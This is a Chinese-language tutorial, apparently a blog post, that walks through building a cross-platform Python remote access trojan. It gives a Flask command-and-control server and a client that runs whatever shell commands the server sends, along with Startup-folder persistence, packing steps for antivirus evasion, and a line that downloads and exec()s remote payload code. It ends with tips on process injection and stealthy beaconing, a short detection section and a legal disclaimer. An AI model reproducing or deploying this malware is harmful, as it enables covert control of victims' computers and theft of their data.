0x01 制作远控的技术底层:从原理谈起
要理解如何制作一个功能强大的远程控制木马(RAT),需要先搞清楚它的核心原理和基础功能模块设计。RAT 的本质是利用被控设备与攻击者之间建立一条隐秘的通信通道,允许攻击者远程执行命令、上传/下载文件、甚至控制摄像头和键盘记录。
远控木马的核心功能通常可以分为以下几个部分:
- 通信模块:实现与 C2(Command & Control)服务器的双向通信,常用的协议有 HTTP、WebSocket、TCP、UDP 等。主流的设计思路是通过加密通信规避流量分析。
- 命令执行模块:接收来自 C2 的指令并在目标设备上执行,如文件操作、进程管理等。
- 权限提升模块:尝试绕过操作系统的权限限制,获取更高的访问权限。
- 隐匿与自我保护模块:包括免杀、对抗杀软、开机持久化等,确保木马生存时间足够长。
我们这次的方案是设计一款用 Python 编写的跨平台远程控制木马,结合一些免杀技巧和流量加密技术,让它更具实用性。
---
0x02 实战环境快速搭建
攻击环境准备是实际操作的第一步。为了模拟真实的攻击场景,我们需要搭建一个包含攻击者、中间通信节点(C2 服务器)和被控设备的环境。
环境组件清单

- 攻击者主机:用于运行 C2(Command & Control)服务端,建议使用 Kali Linux 或 Parrot OS。
- 目标主机:模拟被控设备,可选择 Windows 或 macOS(虚拟机即可)。
- 网络环境:建议搭建一个虚拟局域网,方便捕获木马通信流量。
C2 服务器配置
这里我们用 Flask 搭建一个简单的 C2 服务端,它将监听攻击者发送的控制命令,并转发给被控主机:
<pre><code class="language-python"># c2_server.py from flask import Flask, request import json
app = Flask(__name__) commands = []
@app.route('/send_cmd', methods=['POST']) def send_command(): """接受攻击者的命令并保存""" data = request.json commands.append(data.get("command")) return {"status": "success"}, 200
@app.route('/get_cmd', methods=['GET']) def get_command(): """被控端获取最新命令""" if commands: return {"command": commands.pop(0)}, 200 return {"command": None}, 200
@app.route('/upload', methods=['POST']) def upload_file(): """被控端上传文件""" file = request.files['file'] file.save(f"./uploads/{file.filename}") return {"status": "file uploaded"}, 200
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)</code></pre>
快速说明:
send_cmd用于攻击者发送命令,例如执行whoami。get_cmd是被控主机定期拉取命令的接口。upload用于被控主机向 C2 上传文件。
运行这段代码后,C2 服务将默认监听在端口 5000。
---

0x03 Payload 的构造艺术
接下来,设计被控主机上的核心 Payload 程序。它需要完成以下任务:
- 定期与 C2 通信获取命令。
- 执行命令并将结果返回给 C2。
- 实现持久化和隐匿。

以下是完整的代码实现:
<pre><code class="language-python"># rat_client.py import os import time import json import requests import subprocess
C2_SERVER = "http://192.168.1.100:5000" # 修改为 C2 服务器 IP
def get_command(): """从 C2 获取最新命令""" try: resp = requests.get(f"{C2_SERVER}/get_cmd") data = resp.json() return data.get("command") except Exception as e: return None
def execute_command(cmd): """在本地执行命令""" try: result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) return result.decode() except subprocess.CalledProcessError as e: return e.output.decode()
def upload_result(output): """向 C2 上传执行结果""" try: requests.post(f"{C2_SERVER}/send_cmd", json={"command": output}) except Exception as e: pass
def persist(): """实现木马持久化(Windows 示例)""" startup_dir = os.path.join(os.getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup") if not os.path.exists(startup_dir): return payload_path = os.path.join(startup_dir, "rat_client.exe") if not os.path.exists(payload_path): os.system(f'copy {__file__} "{payload_path}"')
if __name__ == "__main__": persist() # 持久化到启动目录 while True: command = get_command() if command: output = execute_command(command) upload_result(output) time.sleep(5) # 每 5 秒拉取一次命令</code></pre>
代码解释:
get_command()会每隔 5 秒向 C2 请求最新命令。execute_command()负责执行系统命令,支持 Windows 和 Linux。persist()为 Windows 设计的持久化方法,自动将木马复制到启动目录。
---
0x04 绕过与免杀的实操技巧
现代杀软和 EDR(Endpoint Detection & Response)产品对木马程序的检测能力非常强大,因此绕过检测是一个实际部署时的关键环节。以下是几种有效的免杀技巧:
代码混淆与加壳
- 使用 Python 的混淆工具,如
pyarmor或cython将脚本加密打包。 - 将
.py转换成.exe时,利用工具如 PyInstaller 的--key参数添加加密密钥。
<pre><code class="language-bash">pyinstaller --onefile --noconsole --key secret_key rat_client.py</code></pre>
动态载荷生成
可以考虑将核心逻辑分成多个小模块,在运行时动态加载。比如,将恶意代码存储在远程服务器,使用 eval() 方式动态执行。
<pre><code class="language-python">payload_code = requests.get("http://192.168.1.100/payload").text exec(payload_code)</code></pre>
---
0x05 木马的检测与防御视角
从防御者的角度来看,以下是几个检测和防御木马的方法:
- 流量监控:分析可疑主机的 DNS 和 HTTP 流量。例如,上述 RAT 的 C2 通信可通过启用 IDS/IPS 系统检测。
- 文件扫描:通过沙箱环境运行新文件并监控其行为。
- 进程分析:查找长期驻留在系统的可疑进程,重点检查启动目录。
---
0x06 一些个人的实战经验
- 低频通信是隐匿的关键:频繁的 HTTP 请求易被检测到,建议设置成随机时间间隔的心跳包。
- 利用白名单进程注入技术:将木马注入到系统信任的进程中,比如
explorer.exe,极大提高隐蔽性。 - 避免硬编码 IP:使用域名或动态 DNS 服务取代硬编码 C2 地址,增加灵活性。
---
法律声明:本文仅供安全研究与学习,请勿将以上技术用于非法用途!未经授权的攻击行为是违法的。